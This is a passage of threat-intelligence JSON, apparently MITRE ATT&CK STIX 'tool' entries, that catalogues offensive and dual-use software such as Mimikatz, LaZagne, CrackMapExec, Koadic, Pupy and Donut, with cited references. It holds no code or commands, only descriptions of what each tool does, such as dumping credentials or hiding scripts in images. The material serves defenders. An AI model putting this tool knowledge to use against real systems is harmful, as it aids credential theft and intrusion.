2017.","url":"https://github.com/SpiderLabs/Responder"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--a52edc76-328d-4596-85e7-d56ef5a9eb69","type":"tool","created":"2017-05-31T21:33:11.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0122","external_id":"S0122"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2018-10-17T00:14:20.652Z","name":"Pass-The-Hash Toolkit","description":"[Pass-The-Hash Toolkit](https://attack.mitre.org/software/S0122) is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["The Wover, @TheRealWover"],"x_mitre_aliases":["Donut"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"tool","id":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","created":"2022-03-25T13:35:46.781Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0695","url":"https://attack.mitre.org/software/S0695"},{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."},{"source_name":"Introducing Donut","url":"https://thewover.github.io/Introducing-Donut/","description":"The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021."},{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Donut](https://attack.mitre.org/software/S0695) is an open source framework used to generate position-independent shellcode.(Citation: Donut Github)(Citation: Introducing Donut) [Donut](https://attack.mitre.org/software/S0695) generated code has been used by multiple threat actors to inject and load malicious payloads into memory.(Citation: NCC Group WastedLocker June 2020)","modified":"2022-04-18T15:31:34.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Donut","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:34:58.387Z","name":"Mimikatz","description":"[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.9","x_mitre_contributors":["Vincent Le Toux"],"x_mitre_aliases":["Mimikatz"],"type":"tool","id":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","created":"2017-05-31T21:32:11.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0002","external_id":"S0002"},{"source_name":"Deply Mimikatz","description":"Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.","url":"https://github.com/gentilkiwi/mimikatz"},{"source_name":"Adsecurity Mimikatz Guide","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","url":"https://adsecurity.org/?page_id=1821"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-09-22T20:55:32.937Z","name":"gsecdump","description":"[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["gsecdump"],"type":"tool","id":"tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54","created":"2017-05-31T21:32:13.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0008","external_id":"S0008"},{"source_name":"TrueSec Gsecdump","description":"TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.","url":"https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:14:36.791Z","name":"IronNetInjector","description":"[IronNetInjector](https://attack.mitre.org/software/S0581) is a [Turla](https://attack.mitre.org/groups/G0010) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT](https://attack.mitre.org/software/S0126).(Citation: Unit 42 IronNetInjector February 2021 )","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["IronNetInjector"],"type":"tool","id":"tool--b1595ddd-a783-482a-90e1-8afc8d48467e","created":"2021-02-24T21:28:44.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0581","external_id":"S0581"},{"source_name":"Unit 42 IronNetInjector February 2021 ","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021.","url":"https://unit42.paloaltonetworks.com/ironnetinjector/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--b35068ec-107a-4266-bda8-eb7036267aea","type":"tool","created":"2017-05-31T21:33:03.773Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0102","external_id":"S0102"},{"source_name":"TechNet Nbtstat","description":"Microsoft. (n.d.). Nbtstat. Retrieved April 17, 2016.","url":"https://technet.microsoft.com/en-us/library/cc940106.aspx"}],"modified":"2018-10-17T00:14:20.652Z","name":"nbtstat","description":"[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-18T22:02:48.228Z","name":"Invoke-PSImage","description":"[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Invoke-PSImage"],"type":"tool","id":"tool--b52d6583-14a2-4ddc-8527-87fd2142558f","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0231","external_id":"S0231"},{"source_name":"GitHub Invoke-PSImage","description":"Adams, B. (2017, December 17). Invoke-PSImage. Retrieved April 10, 2018.","url":"https://github.com/peewpw/Invoke-PSImage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["NBTscan"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","type":"tool","created":"2021-03-17T15:26:20.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0590","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0590"},{"source_name":"Debian nbtscan Nov 2019","url":"https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html","description":"Bezroutchko, A. (2019, November 19). NBTscan man page. Retrieved March 17, 2021."},{"source_name":"SecTools nbtscan June 2003","url":"https://sectools.org/tool/nbtscan/","description":"SecTools. (2003, June 11). NBTscan. Retrieved March 17, 2021."},{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."},{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-04-24T20:45:08.323Z","name":"NBTscan","description":"[NBTscan](https://attack.mitre.org/software/S0590) is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)(Citation: Symantec Waterbug Jun 2019)(Citation: FireEye APT39 Jan 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-04T03:49:27.035Z","name":"LaZagne","description":"[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.6","x_mitre_aliases":["LaZagne"],"type":"tool","id":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","created":"2019-01-30T16:44:59.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0349","external_id":"S0349"},{"source_name":"LaZagne","description":"(Citation: GitHub LaZange Dec 2018)"},{"source_name":"GitHub LaZagne Dec 2018","description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.","url":"https://github.com/AlessandroZ/LaZagne"},{"source_name":"GitHub LaZange Dec 2018","description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.","url":"https://github.com/AlessandroZ/LaZagne"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-06T15:12:11.358Z","name":"Ping","description":"[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["Ping"],"type":"tool","id":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","created":"2017-05-31T21:33:01.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0097","external_id":"S0097"},{"source_name":"TechNet Ping","description":"Microsoft. (n.d.). Ping. Retrieved April 8, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490968.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-13T20:24:11.194Z","name":"cmd","description":"[cmd](https://attack.mitre.org/software/S0106) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir (Citation: TechNet Dir)), deleting files (e.g., del (Citation: TechNet Del)), and copying files (e.g., copy (Citation: TechNet Copy)).","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["cmd","cmd.exe"],"type":"tool","id":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","created":"2017-05-31T21:33:05.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0106","external_id":"S0106"},{"source_name":"TechNet Cmd","description":"Microsoft. (n.d.). Cmd. Retrieved April 18, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490880.aspx"},{"source_name":"TechNet Copy","description":"Microsoft. (n.d.). Copy. Retrieved April 26, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490886.aspx"},{"source_name":"TechNet Del","description":"Microsoft. (n.d.). Del. Retrieved April 22, 2016.","url":"https://technet.microsoft.com/en-us/library/cc771049.aspx"},{"source_name":"TechNet Dir","description":"Microsoft. (n.d.). Dir. Retrieved April 18, 2016.","url":"https://technet.microsoft.com/en-us/library/cc755121.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"tool","id":"tool--c11ac61d-50f4-444f-85d8-6f006067f0de","created":"2017-05-31T21:33:04.151Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0103","url":"https://attack.mitre.org/software/S0103"},{"source_name":"TechNet Route","url":"https://technet.microsoft.com/en-us/library/bb490991.aspx","description":"Microsoft. (n.d.). Route. Retrieved April 17, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)","modified":"2022-04-06T15:27:00.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"route","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-28T03:45:36.045Z","name":"esentutl","description":"[esentutl](https://attack.mitre.org/software/S0404) is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.(Citation: Microsoft Esentutl)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_contributors":["Edward Millington","Matthew Demaske, Adaptforward"],"x_mitre_aliases":["esentutl","esentutl.exe"],"type":"tool","id":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","created":"2019-09-03T18:25:36.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0404","external_id":"S0404"},{"source_name":"Microsoft Esentutl","description":"Microsoft. (2016, August 30). Esentutl. Retrieved September 3, 2019.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh875546(v=ws.11)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-14T17:29:49.200Z","name":"CrackMapExec","description":"[CrackMapExec](https://attack.mitre.org/software/S0488), or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. [CrackMapExec](https://attack.mitre.org/software/S0488) collects Active Directory information to conduct lateral movement through targeted networks.(Citation: CME Github September 2018)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["CrackMapExec"],"type":"tool","id":"tool--c4810609-7da6-48ec-8057-1b70a7814db0","created":"2020-07-17T14:23:05.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0488","external_id":"S0488"},{"source_name":"CME Github September 2018","description":"byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020.","url":"https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-27T18:36:30.831Z","name":"Koadic","description":"[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.(Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["Koadic"],"type":"tool","id":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0250","external_id":"S0250"},{"source_name":"Koadic","description":"(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)"},{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["schtasks","schtasks.exe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"tool","id":"tool--c9703cd3-141c-43a0-a926-380082be5d04","created":"2017-05-31T21:33:07.218Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0111","url":"https://attack.mitre.org/software/S0111"},{"source_name":"TechNet Schtasks","url":"https://technet.microsoft.com/en-us/library/bb490996.aspx","description":"Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[schtasks](https://attack.mitre.org/software/S0111) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)","modified":"2022-04-20T20:04:22.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"schtasks","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Cachedump"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52","type":"tool","created":"2017-05-31T21:33:10.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0119","external_id":"S0119"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-30T15:15:36.756Z","name":"Cachedump","description":"[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"x_mitre_aliases":["Expand"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--ca656c25-44f1-471b-9d9f-e2a3bbb84973","type":"tool","created":"2019-02-19T19:17:14.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0361","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0361"},{"source_name":"Microsoft Expand Utility","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand","description":"Microsoft. (2017, October 15). Expand. Retrieved February 19, 2019."},{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2020-03-20T18:43:16.989Z","name":"Expand","description":"[Expand](https://attack.mitre.org/software/S0361) is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by [BBSRAT](https://attack.mitre.org/software/S0127) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-28T21:08:47.128Z","name":"Pupy","description":"[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)","x_mitre_platforms":["Linux","Windows","macOS","Android"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Pupy"],"type":"tool","id":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0192","external_id":"S0192"},{"source_name":"GitHub Pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","url":"https://github.com/n1nj4sec/pupy"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-13T20:23:35.333Z","name":"Reg","description":"[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)\n\nUtilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["Reg","reg.exe"],"type":"tool","id":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","created":"2017-05-31T21:32:49.000Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0075","external_id":"S0075"},{"source_name":"Microsoft Reg","description":"Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.","url":"https://technet.microsoft.com/en-us/library/cc732643.aspx"},{"source_name":"Windows Commands JPCERT","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-14T15:21:48.196Z","name":"ftp","description":"[ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP)","x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_aliases":["ftp","ftp.exe"],"type":"tool","id":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","created":"2017-05-31T21:33:00.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0095","external_id":"S0095"},{"source_name":"Microsoft FTP","description":"Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022.","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp"},{"source_name":"Linux FTP","description":"N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022.","url":"https://linux.die.net/man/1/ftp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Cody Thomas, SpecterOps"],"x_mitre_aliases":["Mythic"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"tool","id":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","created":"2022-03-26T01:38:12.966Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0699","url":"https://attack.mitre.org/software/S0699"},{"source_name":"RecordedFuture 2021 Ad Infra","url":"https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf","description":"Insikt Group. (2022, January 18). 2021 Adversary Infrastructure Report. Retrieved March 25, 2022."},{"source_name":"Mythic Github","url":"https://github.com/its-a-feature/Mythic","description":"Thomas, C. (2018, July 4). Mythic. Retrieved March 25, 2022."},{"source_name":"Mythic 